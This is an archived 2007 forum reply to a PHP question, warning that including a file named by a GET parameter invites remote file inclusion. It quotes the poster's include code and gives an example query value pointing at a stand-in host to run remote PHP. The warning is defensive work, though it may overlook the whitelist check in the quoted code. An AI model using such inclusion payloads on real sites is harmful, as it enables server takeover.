You are here: Re: php include problem « PHP Programming Language « IT news, forums, messages
Re: php include problem

Posted by Ulf Kadner on 08/16/07 15:48

Heikki wrote:
> first. sory about bad english.

me 2

> my index.php has link-menu in a right side, that opens something.php
> next to the menu.
>
> something.php has a link link-menu at the top of the page that should
> open stuff.php under this last menu.
>
> the broblem is that stuff.php opens to the place of something.php. so
> the top link-menu disapears.
>
> $sivut = array('something');
>
> if (in_array($_GET['sivu'], $sivut)) {
> include ($_GET['sivu'] . '.php');

This is not a answer to your asked problem but a answer to a other Problem.

Can you give me the URL of youre Script? Why? Im bad! ;-) What you are
doing here is may good to easy hack youre site/server.

"Examine everything, trust nobody!"

Example:

If i call your script at follow:
?sivu=http://example.com/mybad-script

It will include an *run* my file http://example.com/mybad-script.php if
it is delived in text/plain with usable PHP-Code. So i can do everything.

So never do things like that!

Ulf

--
_,
_(_p> Ulf [Kado] Kadner
\<_) Mitglied der Freizeitvögel? ;-)
^^

 

Navigation:

[Reply to this message]


Удаленная работа для программистов  •  Как заработать на Google AdSense  •  England, UK  •  статьи на английском  •  PHP MySQL CMS Apache Oscommerce  •  Online Business Knowledge Base  •  DVD MP3 AVI MP4 players codecs conversion help
Home  •  Search  •  Site Map  •  Set as Homepage  •  Add to Favourites

Copyright © 2005-2006 Powered by Custom PHP Programming

Сайт изготовлен в Студии Валентина Петручека
изготовление и поддержка веб-сайтов, разработка программного обеспечения, поисковая оптимизация